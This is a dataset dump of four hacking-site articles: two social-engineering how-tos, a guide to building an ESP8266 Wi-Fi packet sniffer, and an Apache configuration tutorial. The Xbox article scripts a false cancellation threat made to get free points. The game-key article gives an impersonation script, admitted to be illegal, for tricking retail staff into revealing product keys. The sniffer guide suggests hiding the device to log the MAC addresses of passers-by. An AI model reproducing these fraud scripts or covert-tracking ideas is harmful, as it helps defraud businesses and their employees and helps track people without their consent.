title
stringlengths
30
147
content
stringlengths
17
61.4k
Xbox LIVE Achievement: How to Earn Free Microsoft Points with Social Engineering Β« Null Byte :: WonderHowTo
Sometimes, paying for the whole Xbox LIVE service might seem like a waste of money. You're constantly experiencing lag, you've got people modding and cheating, kids are being loud and obnoxious over the mic, and your kill-to-death ratio is getting dumped on. Basically, the whole multiplayer experience just isn't cutting it anymoreβ€”you want to go back to the classic world of single player. Well, there's always downloadable contentβ€”simply known asDLC.We can expand our current games beyond their original playable storyline with DLC extras. But since games are expensive, you might not have enough money in your piggy bank left for any additional purchase. Of course, since wedofeel as if we've been conned from out Xbox LIVE experience, we can always con back. But how? With a little social engineering!Let's show Microsoft what we think of their expensive MS Points.RequirementsPhoneXbox LIVE account with all of your account detailsStrong and serious demeanorConfidenceThe ScenarioOur little life hack starts with a phone call to Xbox customer support:1-800-4MY-XBOXPickXbox LIVEwhen prompted for the subject of the call, thenbilling and payments.When you talk to a representative, brace yourself for some coercion. Say something like this:"Hello, I've been overall displeased with my service lately, with all of the hackers on Xbox LIVE, and Hulu, Vudu and Zune having so many streaming errors, I just want to cancel my service."And since Xbox employees are trained a certain way, they should offer you compensation to stay with them and not cancel."Oh, I'm sorry to hear that sir, could I perhaps offer you a redemption code for 400 MS Points to convince you to stay?"Score. Since they want to keep you as a paying customer, it's worth it to them to give a little bonus once in a while... and it's good to know that everyone has a chance to getsomeof that bonus. Do not do this often, because they monitor things like that on your account, so you can't call in claiming to cancel your service every month.If you get a weird employee that doesn't offer you a gift to stay with Xbox LIVE, hang up and call back (say you got disconnected, if anyone asks). This will assure that we get a gift, no matter what the circumstances are. Stay sharp everyone!Be a Part of Null Byte!Post to theforumChat onIRCFollow onTwitterCircle onGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto byxboxcardsRelatedHow To:Get Free Microsoft Points with Xbox LIVE's New Rewards ProgramHow To:Get the achievements in the Xbox Arcade game Harm's wayHow To:Earn the 'Ladies Man' achievement in Deus Ex: Human RevolutionHow To:Earn the "Locksmith" achievement in Dead Rising 2: Case ZeroHow To:Get the "Easy Rhino" achievement in Dead Ops Arcade on Call of Duty: Black OpsHow To:Use Real Currency on Xbox Live Right Now Instead of Those Confusing Microsoft PointsHow To:Earn the 'Jetpacker' Achievement in RageHow To:Unban Your Xbox LIVE Account That is Banned Until 12/31/9999 by Tricking Microsoft's Banning SystemHow To:Earn the "Chasing the Game" and "The Take" Achievements in Dragon Age II: Mark of the Assassin DLCHow To:Earn Three Achievements in Cabela's Big Game Hunter 2012How To:Get the 'Monster Dance' Achievement in Assassin's Creed: RevelationsHow To:Earn the 'Hat Trick' Achievement in RageHow To:Earn the 'Passive Aggressive' Achievement in RageHow To:Get the 'Jaws' Achievement in Battlefield 3How To:Earn the 'Dev Graffiti' Achievement and Trophy in RageHow To:Earn the 'It's Good!' Achievement and Trophy in RageListen In:Live Social Engineering Phone Calls with Professional Social EngineersNews:Live Social EngineeringListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Week 2)How To:Get the 'Genius' Achievement in Batman: Arkham CitySneak Peak:Xbox Live's Metro User Interface (Coming in November)News:Microsoft Ribbon HeroHow To:Get the 'Show Off' Achievement in Assassin's Creed: RevelationsListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Final Session)News:Xbox Live Family Plan Coming SoonSocial Engineering, Part 1:Scoring a Free Cell PhoneWeekend Homework:How to Become a Null Byte Contributor (2/17/2012)How To:Get the 'Cardiac Arrest' Achievement in Fallout: New VegasHow To:Get the 'Hide and Seek' Achievement in Batman: Arkham CityNews:Red Dead Free Co-op Pack out today!How To:Get Three More Achievements in the RAAM's Shadow DLC for Gears of War 3How To:Get the 'In the Nick of Time' Achievement in Battlefield 3How To:Get the 'Complete Warior' Achievement in Battlefield 3How To:Get the 'The Eye of Magnus' Achievement in The Elder Scrolls V: SkyrimHow To:Get the 'Almost Flying' Achievement in Assassin's Creed RevelationsHow To:Get the 'Pay Your Respects' Achievement in Batman: Arkham CityHow To:Get the 'Nein' Achievement in Modern Warfare 3How To:Proof of Social Engineering Success!How To:Earn the "Checking In" Achievement and Trophy in Ace Combat: Assault HorizonHow To:Get the 'Like a Boss' Achievement in Battlefield 3
How to Score Free Game Product Keys with Social Engineering Β« Null Byte :: WonderHowTo
Lost the product key for your game? If you have to reinstall the game and don't have that key anymore, you're out of luck, especially if you didn't "buy" the game. But never be in fear of losing product keys again with today's Null Byte, where we'll be practicing a little bit of mind-kung fu.Social manipulation is ahugepart of learning how to hack and defend from hackers, because the human element is always the weakest chain in the fence. Since it's such an intense and fun subject, we might as well get hands on with it. And that's exactly what's going on here todayβ€”practicing our social engineering elite skills.Our targets varyβ€”game retailers, their employees, and the system behind it are all things we need to manipulate in order to prove this concept.Note:These skills and concepts are taken from live social engineering hacks that we perform atNull Byteon a weekly basis.WarningThis is illegal, without question. This tutorial is here merely as an informational how-to showing people how easy it is to manipulate andbemanipulated.RequirementsCalm and strong personaPen and paper to write down important informationTelephoneStep1Call the Game RetailerCall the game retailer that you purchased the game from and get ready to lie through your teeth. When the employee answers the phone and greets you, brace yourself for battle and start talking.TipsDo research on your target ahead of time, i.e. location of headquarters, etc.Call from a phone that isn't your own.Think of a creative story in case something backfires and hang up.Example script:"Hi, my name is Roy Walters from the Infinity Ward shipping office in <insert location>. I'm calling because of a defective shipment that's been brought to my attention by the logistics team from <location of IW HQ>. The game was(pretend to look at a clipboard or something)<insert game here> and we need to verify that the games are indeed from the defective batch. I need you to grab a copy and read off the bar code on the back of the case."Watch in amusement as they likely comply with your seemingly harmless demands.Step2Run with Your New InformationNow we need to social engineer the key code out of them. Be careful not to sound too weird. You need to sound smooth and calm. If something goes wrong, be persistent for a minute and act a bit stressed. Say the boss is breathing down your neck. Most people will be more than willing to help out if you don't rage at them.You:"May I have the UID code located on the <UID location>(do your research!)?"Them:"Okay, Just a sec... It's XXXX-XXXX-XXXX-XXXX."You:"Alright, hold on, let me check that real quick(make typing sounds on your keyboard for authenticity)."You:"Weird, it looks like we're okay, but just to make sure, can you read the key off for me? It's located at <location here>."Them:"Okay, the game key is XXX-XX-XXXX-XXXX."Roll out with your profit. This could be extremely helpful in a situation where you possess a game, but no longer have a product key. However, this is indeed illegalβ€”and very morally wrong.Be a Part of Null Byte!Post to theforumChat onIRCFollow onTwitterCircle onGoogleWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImages bythebuzzmedia,adptcRelatedHow To:Learn the Secrets of PsychologySocial Engineering:How to Use Persuasion to Compromise a Human TargetHack Like a Pro:How to Spear Phish with the Social Engineering Toolkit (SET) in BackTrackHack Like a Pro:The Ultimate Social Engineering HackSocial Engineering:The Most Powerful HackListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Week 2)Listen In:Live Social Engineering Phone Calls with Professional Social EngineersListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Final Session)Social Engineering, Part 1:Scoring a Free Cell PhoneWeekend Homework:How to Become a Null Byte Contributor (2/17/2012)News:Live Social EngineeringHow To:Proof of Social Engineering Success!Xbox LIVE Achievement:How to Earn Free Microsoft Points with Social EngineeringHow To:Social Engineer Your Way Into an Amusement Park for FreeWeekend Homework:How to Become a Null Byte Contributor (2/3/2012)Social Engineering, Part 2:Hacking a Friend's Facebook PasswordWeekend Homework:How to Become a Null Byte Contributor (2/10/2012)News:Microsoft Ribbon HeroNews:A Computer Game Inside MinecraftScramble with Friends:Zynga's Newly Released Word Game for iOSNews:Social Haven Rescue Free Iphone Game-We liked it?How To:The Official Google+ Insider's Guide IndexNews:Google social web engineer Joseph Smarr talks about lessons from Google+Scrabble Challenge #9:Can You Win the Losing Game on the Last Move?News:Top 13 Google Insiders to Follow on Google+Sweatshop:A Bizarre Tower Defense Game with a MessageNews:SCRABBLE Expert Breaks RecordSocial Engineering:The BasicsNews:Joel Sherman Breaks Scrabble Record with 803-Point GameNews:Google+ Pro Tips Weekly Round Up: Google Adds Google+ ExtensionsHow To:The Social Engineer's Guide to Buying an Expensive LaptopWC 2010 grim view:low scores, low attendance.How To:recognize Crowd Control - Part 1Farewell Byte:Goodbye Alex, Welcome AllenAlien Swarm:Free Game from Valve!News:Games to Appear in Google+ StreamHow To:Advanced Social Engineering, Part 1: Exact Revenge on Craigslist Scammers with Tabnab PhishingHow To:get free carNews:Farmville NOT LEAVING Facebook
How to Inconspicuously Sniff Wi-Fi Data Packets Using an ESP8266 Β« Null Byte :: WonderHowTo
If you want to get startedsniffing Wi-Fi networks, you usually need to start witha wireless network adapter. But thanks to a Wi-Fi sniffing library written in Arduino and the ultra-cheap ESP8266 chip, you might not need one. For less than $10 in electronics, you can build a tiny Arduino Wi-Fi sniffer that savesWireshark-compatible PCAP files and fits anywhere.Sniffing Wi-Fi packets allows you to learn a lot about the wireless landscape of an area. Even without the Wi-Fi password, you can learn about the types of devices that are nearby, which devices are connected to which networks, and more information that can be useful to a hacker. But to get started doing this, you'll typically need to invest in a wireless network adapter that gives you more control than the average consumer adapter.Don't Miss:Program a $6 NodeMCU to Detect Wi-Fi Jamming AttacksWhile there is much debate aboutwhich wireless network adapter is the best, it can get expensive trying out which one is right for you. If some simple sniffing is all you're looking for, then it turns out a cheap, easy-to-program microcontroller might work just fine instead.The ESP8266 for Wi-Fi ReconTheESP8266 microcontrollercan be programmed in Arduino and comes with Wi-Fi integrated, which is visible by the printed antenna on the board. These boards are also dirt-cheap, leading to many manufacturers adding them to development boards that add useful features like a USB port to connect to for easier programming of the device. While you will seemany different kinds of ESP8266-based microcontrollers, they all have the same chip in the center with the distinctive antenna pattern.One of the most popular development boards for the ESP8266 is theD1 Mini. These boards, copied widely by a number of manufacturers, are dirt-cheap and start at around three dollars. They allow for a number of pins to be used to connect to sensors or displays, and while they don't have as many pins available as aNodeMCU, the D1 Mini is also half the size.Because of the popularity among makers, there are many add-on "shields" that are sold alongside the D1 Mini, which can be stacked on top of each other to add functionality. One of the most useful D1 Mini shields isan SD card modulefor reading and writing data toa microSD card.Image by Kody/Null ByteSpacehuhn's Arduino PCAP LibraryThanks to the efforts of Stefan Kremser, also known asSpacehuhn, an easy-to-use library for generating Wireshark-readable PCAP files can be loaded onto an ESP8266 in a matter of minutes. While the ESP8266 is a lot less powerful than most wireless network adapters, it's really cool to be able to read Wi-Fi network using nothing but a microcontroller.There are some limitations to this, and in general, this library will work better onthe more powerful ESP32, which costs a little bit more. The tradeoff is cost, and since you can get a D1 Mini plus a datalogger shield for less money (depending on where you shop), it's easy to accept the limitations of using a small, cheap microcontroller.Once you have the library on the ESP8266 device, you'll need to get the data it's reading off of it. One of the best ways to do this is with a serial connection, which allows you to write data to your computer from the microcontroller via the serial port. While it's impressive to watch results in Wireshark come in live from a little microcontroller, we'll focus instead on a small, disconnected version that saves the traffic it logs onto amicroSD card.Don't Miss:Detect When a Device Is Nearby with the ESP8266 Friend DetectorThis form factor could be used to hide in an area where many people are to create a list of MAC addresses belonging to them, as passive Wi-Fi sniffers that could prove a device was in an area at a particular time, or as a way of understanding the network layout of an area and which devices have permission to connect to which networks. With the tiny D1 Mini, you can hide the sniffer in just about anything.What You'll NeedFirst, you'll need an ESP8266-based device like theNodeMCUor theD1 Mini. I highly recommend the D1 Mini because it's exactly the right size to use with the next important piece of the puzzle, the SD card reader.The SD card reader is important if you want to save the data to a microSD card. I recommendD1 Mini datalogger shieldmentioned earlier, which you can actually getpretty cheap. This lets you just solder the pins on and stick them together to create a Wi-Fi datalogger. It includes a real-time clock, which means you'll be able to write timestamped data to any properly formatted microSD card that you have.You'll also need a soldering iron to solder the headers that come with the D1 Mini and datalogger shield onto the D1 Mini and datalogger shield. Finally, you'll need a microSD card formatted with a Fat32 file system. Exfat will not work, I tried it.D1 MiniD1 Mini Datalogger ShieldmicroSD cardSolderandsoldering ironMicro-USB cablemicroSD card reader5 volt power supply(optional, for power away from your computer)CR1220 battery(optional, only for the real-time clock)On Amazon:RobotDyn IoT Kit with D1 Mini, USB Cable & Data Logger ShieldThe free, cross-platformArduino IDEwill allow us to quickly prototype what we need, so make sure you have that installed on your computer. The Arduino integrated development environment allows us to quickly write and upload scripts to Arduino-like microcontroller devices.Step 1: Install the New Arduino LibraryTo get this project working, we'll need to install some libraries that enable everything to communicate. We need the radio of the microcontroller to save packets to the microSD card, so that means we need libraries for communicating with the microSD card and interpreting the radio signals into meaningful data to save. To install any library in Arduino is pretty simple and usually comes with some helpful example sketches to build off of.To start, in the Arduino IDE, open the folder named "Arduino" where Arduino IDE saves your sketch files. You should see a folder called "Libraries," which should be saved in the location listed below for your OS. If you add a library here, it will then show up in the Import Library menu.macOS: ~/Documents/Arduino/libraries/Windows: My Documents\Arduino\libraries\In a terminal window,change directoryinto the folder where your Arduino libraries are kept, and then usegit cloneto copy theArduino PCAPrepository, theArduino Time Library, and theESP8266 dependencyfrom GitHub.cd ~/Documents/Arduino/libraries/ git clone https://github.com/spacehuhn/ArduinoPcap.git git clone https://github.com/PaulStoffregen/Time.git git clone https://github.com/esp8266/Arduino.gitThis is the folder that Arduino IDE checks for custom libraries every time it starts. In general, there are two ways for you to add a library. You can click on "Sketch" in the top menu bar, then "Include Library," and finally "Manage Libraries" to open the search bar.Here, you can search for libraries that are popular in the community and download them directly. This is one of the easiest ways to download things like the neopixel library from Adafruit or the SdFat library needed to write to our microSD card. Type in "sdfat," and download the SdFat library by clicking "Install." This will allow us to include it in any of our sketches from now on.Close and restart the Arduino IDE to make sure they are all loaded.Step 2: Install the Board LibraryNow, we need to tell Arduino IDE what hardware we're working with. Click on the "Arduino" drop-down menu, then select "Preferences." Next, paste the following URL into theAdditional Boards Manager URLsfield. Click "OK" to continue. This should add the ESP8266-related boards to the list of boards we can install.http://arduino.esp8266.com/stable/package_esp8266com_index.jsonTo add the specific D1 Mini we're using, you'll need to click on "Tools," then hover over the "Board" section to see the list of supported boards. At the top, click "Boards Manager" to open the window that will allow us to add more boards.Don't Miss:Use an ESP8266 Beacon Spammer to Track Smartphone UsersWhen theBoards Managerwindow opens, type "esp8266" into the search bar. Select "esp8266" by ESP8266 Community, and install it to add support for the D1 Mini to your Arduino IDE. You may find it's already installed from the previous step, but make sure to update it if an update is available.Now, you should see a section called "ESP8266 Modules" under the "Board" selector. Select the "WeMos D1 R2 & mini" board, and you should be ready to go.Step 3: Modify Any Settings in the CodeTo open an example sketch to work with, go to the Arduino menu, and then click on File –> Examples –> Arduino Pcap. Here, you should see an example called "esp8266_pcap_sd" β€” open the sketch, as we'll be using it as a template for what we send to the D1 Mini. If you want to do this on the more powerful ESP32, you can follow the same steps and select the ESP32 instead.Once the sketch is open, you'll see the main configuration settings.//===== SETTINGS =====// #define CHANNEL 1 #define FILENAME "esp8266" #define SAVE_INTERVAL 30 //save new file every 30s #define CHANNEL_HOPPING true //if true it will scan on all channels #define MAX_CHANNEL 11 //(only necessary if channelHopping is true) #define HOP_INTERVAL 214 //in ms (only necessary if channelHopping is true)Let's start setting these so that we can sniff effectively. First, we'll set the channel for the device to sniff on. The most commonly used network channels are 1, 6 and 11, so we'll set this to 6.#define CHANNEL 6Next, we'll decide how long we want to wait before saving the file to the microSD card. The D1 Mini doesn't have that much memory, so doing so every 30 seconds or so is a good idea. You can also name the file it generates something differently here. Increasing the time leads to larger file sizes but higher chance the device becomes overwhelmed with too much traffic.#define FILENAME "esp8266" #define SAVE_INTERVAL 30 //save new file every 30sNow, let's decide if we want to channel hop or not. This will allow us to see traffic and devices using other channels, but will also chop up a lot of the packets when we switch between networks and make them unusable. As a result, this is a choice between getting a variety of packets from a lot of different channels or focusing on one channel without the worry of fragmentation. In our example, we'll avoid fragmentation by setting the value to false.If we choose to channel hop, we can set how high the channel will go to as well. In the US, Wi-Fi networks don't use channels over 11, but other countries do. For here though, it's only useful to set it to 11.#define CHANNEL_HOPPING false //if true it will scan on all channels #define MAX_CHANNEL 11 //(only necessary if channelHopping is true)If we've chosen to enable channel hopping, we can scale back some of the damage fragmentation does to our sample by setting the next value to longer. A longer value here means more time spent sniffing on each channel, leading to less packet fragmentation from samples.#define HOP_INTERVAL 214 //in ms (only necessary if channelHopping is true)Our control settings should now look something like this.//===== SETTINGS =====// #define CHANNEL 6 #define FILENAME "nullbyte" #define SAVE_INTERVAL 30 //save new file every 30s #define CHANNEL_HOPPING false //if true it will scan on all channels #define MAX_CHANNEL 11 //(only necessary if channelHopping is true) #define HOP_INTERVAL 214 //in ms (only necessary if channelHopping is true)Step 4: Connect the Hardware TogetherNow, it's time to connect the hardware. If you got your D1 Mini and a data-logger shield online, you'll need tosolderthe pins on, which is surprisingly easy (trust me). With the D1 Mini, make sure you solder in pin headers that you can plug the data-logger down into, like in the example below.Image by Kody/Null ByteIf you don't want to solder and want to support Spacehuhn's work, you can also buy a board fromhis web store.Step 5: Push the Code & Sniff PacketsNow, it's time to connect everything. Insert the microSD card into the module, plug in the USB cable to your computer and the D1 mini, and click on the "Tools" menu, then the "Port" section. You should see a "Serial" port listed, which may already be selected. If it isn't, select it here. If you don't see the right serial port, it likely means that you don't have the correct driver installed to see the D1 Mini's USB interface and will need toinstall it.Once you see the serial port, you're ready to push the code! First, check that the code compiles with no errors by clicking on the check mark button on the top left of the screen. Then, click the arrow button next to the check mark to send the code to the D1 Mini.After this is done, click on "Tools," and then "Serial Monitor" to see the status of the D1 Mini. Set the baud rate to 115,200, as it will look like random characters otherwise.If you see a message like above, then you have success! You're able to log PCAP files to the SD card, and as soon as you're done logging, you can unplug the device, pop out the microSD, and load them it into a computer to see the results.With a small coin cell battery to power the real-time clock and a USB power source (Micro-USB cable connected to a power adapter or computer) for the whole unit, your logger can operate independently for as long as the SD card has space.You could also go with abattery pack via a battery shield(oranother battery setup) for the D1 Mini instead of a running power via the Micro-USB port, but it's not recommended since you won't want to use the Micro-USB port at all or you'll risk frying something, plus a battery won't last long. However, one interesting idea to save power for a battery project could be to add a passive infrared sensor to only turn on the logger when movement is detected, logging Wi-Fi traffic from nearby devices any time people are detected as being present.Tradeoffs with the ESP8266While the Arduino PCAP library is an awesome way to get started sniffing, there are a fair amount of limitations. The ESP8266 doesn't have the range of a more powerful wireless network adapter, and it's much more likely to corrupt frames or otherwise miss recording packets for various reasons.One thing to keep in mind is that there will always be several channels the sniffer can't listen on while it's scanning on any particular channel, so if you collect Wi-Fi traffic by scanning through every channel, you're likely to get a lot of fragmentation. Instead, setting the sniffer to listen on one channel only will make it more likely to capture everything, provided you know the channel your target network is on.I hope you enjoyed this guide to sniffing Wi-Fi on an ESP8266 microcontroller! If you like this project and want to see more, you cansupport Spacehuhn on Patreon. And if you have any questions about this tutorial on the ESP8266 or if you have a comment, feel free to put it below or reach out to me on Twitter@KodyKinzie.Don't Miss:Log Wi-Fi Probe Requests from Smartphones & Laptops with ProbemonFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Change a Phone's Coordinates by Spoofing Wi-Fi Geolocation HotspotsHow to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Securely Sniff Wi-Fi Packets with SniffglueHow To:Detect & Classify Wi-Fi Jamming Packets with the NodeMCUMac for Hackers:How to Set Up a MacOS System for Wi-Fi Packet CapturingHow To:Detect Script-Kiddie Wi-Fi Jamming with WiresharkHow To:Control Anything with a Wi-Fi Relay Switch Using aRestHow To:Program an ESP8266 or ESP32 Microcontroller Over Wi-Fi with MicroPythonHow To:Detect When a Device Is Nearby with the ESP8266 Friend DetectorHow to Hack with Arduino:Tracking Which Networks a Mac Has Connected To & WhenHow To:Analyze Wi-Fi Data Captures with Jupyter NotebookHow To:Get Started with MicroPython for ESP8266 MicrocontrollersHow To:Build an FTP Password Sniffer with Scapy and PythonHow To:Spy on Network Relationships with Airgraph-NgHow To:Crack Wi-Fi Passwordsβ€”For Beginners!How To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCHow To:Use Ettercap to Intercept Passwords with ARP SpoofingHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgGuide:Wi-Fi Cards and ChipsetsHow To:Your iPhone's Using More Data Than It Needs, but This Could Stop ItHow To:Create Rogue APs with MicroPython on an ESP8266 MicrocontrollerHow To:Stealthfully Sniff Wi-Fi Activity Without Connecting to a Target RouterHow To:Measure Mobile Data & Wi-Fi Speeds on Your Samsung Galaxy Note 2 or Note 3How To:Keep Firesheep from hacking into your Facebook accountHacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 1 (Packet Exfiltration)How To:Program a $6 NodeMCU to Detect Wi-Fi Jamming Attacks in the Arduino IDEHow To:Track Wi-Fi Devices & Connect to Them Using ProbequestHow To:Intercept Images from a Security Camera Using WiresharkHacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 2 (Packet Analysis)How To:Use Kismet to Watch Wi-Fi User Activity Through WallsHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Spy on Traffic from a Smartphone with WiresharkHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgAndroid Basics:How to Connect to a Wi-Fi NetworkHacker Fundamentals:The Everyman's Guide to How Network Packets Are Routed Across the WebHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:Get Free Wi-Fi from Hotels & MoreHow To:Use Wireshark to Steal Your Own Local Passwords
Linux Basics for the Aspiring Hacker: Configuring Apache Β« Null Byte :: WonderHowTo
Welcome back, my hacker novitiates!In an earlierLinux Basicstutorial, I had demonstratedthe basics of the Apache web server. Since Apache is the world's most widely used web server on the Internet (as of July 2015, Apache was 38%, IIS was 26%, and Nginx is 15%), the more you know about it and understand it, the more success you are likely to have hacking it.In this tutorial, we will examine the basics of how the Apache server is configured. Like nearly every application in Linux or Unix, configuration is done with a plain text configuration file. Apache is no exception. As a result, we will be focused on theapache2.conffile in the/etc/apache2directory.Step 1: Start Apache2Let's begin by starting Apache2. We can do it via the GUI by going to Applications -> Kali Linux -> System Services -> HTTP -> apache2 start, as shown below.Or start it by the command line, like below.kali >service apache2 startThis starts the Apache2 daemon and the web server should now be serving our content to the Internet.Step 2: Browse to the ServerTo check to see whether our Apache server is working, let's simply browse to the localhost or 127.0.0.1. If you see the following page, you now know that the server is working properly!Step 3: Open the Configuration FileTo configure Apache, we need to go to the/etc/apache2directory.kali > cd /etc/apache2Then, doa long listingon this directory.kali > ls -lAs you can see, there are several files and directories in this directory. For our purposes now, the most important is theapache2.conf, but also note that we have theports.conffile and thesites_availabledirectory, which we will be using later in this tutorial, and several other configuration files and directories.We can openapache2.confin any text editor, but here I will use Leafpad. It can be opened by simply typing:kali > leafpad /etc/apache2/apache2.confAs you can see, this opens a plain text file with all the configuration information for our Apache web server. I will attempt to walk you through the key elements of this file in order to configure our server.Step 4: ServerRootLet's scroll down past all the comments and get to line #70 where the global configuration section begins. Here we can see that the ServerRoot is configured here. This is the top of the directory tree where the Apache server keeps all its server-related files. Line #84 defines the ServerRoot. We can simply uncomment it if we want to set/etc/apache2as our ServerRoot. I recommend that you do that.Step 5: TimeoutIn the next section, we have the variables that define the Timeout, KeepAlive, MaxKeepAliveRequests, and KeepAliveTimeout.Timeout: This is the time the server has to fulfill each request. The default setting is 300 which means that server has 300 seconds or 5 minutes to fulfill each request. This is probably too long and can probably be set to around 30 secondsKeepAlive: This means that the server is kept alive for multiple requests from the same client. It is set to "On" by default, which means that clients don't have to create a new connection with every request, saving much overhead on the server.MaxKeepAliveRequests: This is the maximum number of seconds between requests from an established connection. If we set this value to 0, then the amount of time is unlimited.KeepAliveTimeout: This is the amount of time between requests that the connection is kept alive.I suggest you leave the defaults in all, except the "Timeout." Each situation is different and you may need to change these defaults to tailor performance to your particular environment.Step 6: Apache2 User & GroupsLet's skip down a few lines in theapache2.conffile until we get line #177. Here we can set the Apache2 user and groups. Note in the comment on Line #177 that we can set these variables in theenvvars(environment variables) file. We will leave this to a future tutorial, but note that both the User and Group are variables that come from the/etc/apache2/envvarsfile.Next, we can define the AccessFileName in Line #187. This defines where we can go in each directory to find configuration directives.This final section starting on Line #193 here is critical to the security of Apache. These lines make certain that web clients cannot access either the.htaccessor.htpasswdfiles.Step 7: LoggingThis next section defines how Apache manages the logging.In the first stanza, we address HostNameLookups. This directive tells Apache2 whether it should do a DNS lookup when it logs a connection. By keeping it "off" as it is by default, Apache2 performs much better.Step 8: Site AvailableNext, let's look at thesite_availabledirectory and, most importantly, the default file there. This is often referred to as the default Virtual Hosts file. Open this file by typing:kali > leafpad /etc/apache2/site_available/defaultAs you can see, there are three critical areas of this file. The first line defines what port the web server is listening on. Here, it is defined as listening on any interface on port 80 (*:80). The second line defines where email should be sent when there are server problems. By default, it is set to webmaster@localhost. If you are the systemadmin, you may want to set this to your email address (or simply alias this address to yours). The third item might be the most important, the DocumentRoot. It defines where the content for this virtual host will be located, in this case,/var/www. I suggest you leave it as defined here.Step 9: PortsFinally, for this tutorial, we can navigate down to line #248 of theapache2.conffile and notice that there is an "include port.conf" line. This directive simply tells Apache to go to theport.conffile to find ports it should listen on.If we open that file,port.conf, we can see that it is configured to listen on port 80 (line #9). The next section, starting on line #11, checks to see whether themod_ssl.cmodule is included, and if it is, opens port 443 (line 17).If we want to change the ports for either HTTP or HTTPS, we can do that here by simply replacing the port numbers in this file.Step 10: Restart the Apache ServerNow that we have any changes to our Apache2 configuration, we need to restart the server for them to take place.kali > service apache2 restartNow we know a bit more about probably the most important Linux application, Apache Web Server. We will continue to expand your hacker horizons with moreLinux Basics for the Aspiring Hacker, so keep coming back, my hacker novitiates!Next Up:Archiving & Compressing Files in LinuxFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by OTW/Null ByteRelatedHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)News:What to Expect from Null Byte in 2015How To:Linux Basics for the Aspiring Hacker: Using Start-Up ScriptsHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)How To:Simplify Payload Creation with MSFPC (MSFvenom Payload Creator)Mac for Hackers:How to Get Your Mac Ready for HackingHack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 23 (Logging)Goodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:Run a Free Web Server From Home on Windows or Linux with ApacheNews:First Steps of Compiling a Program in LinuxCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingNews:Catch Creeps and Thieves in Action: Set Up a Motion-Activated Webcam DVR in LinuxHow To:Chain VPNs for Complete AnonymityHow To:Hack Wireless Router Passwords & Networks Using HydraWeekend Homework:How to Become a Null Byte Contributor (3/2/2012)How To:How Hackers Take Your Encrypted Passwords & Crack ThemHow To:Run Windows from Inside LinuxHow To:Stream Media to a PS3 or Xbox 360 from Mac & Linux ComputersGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerHow To:Share Your Laptop's Wireless Internet with Ethernet 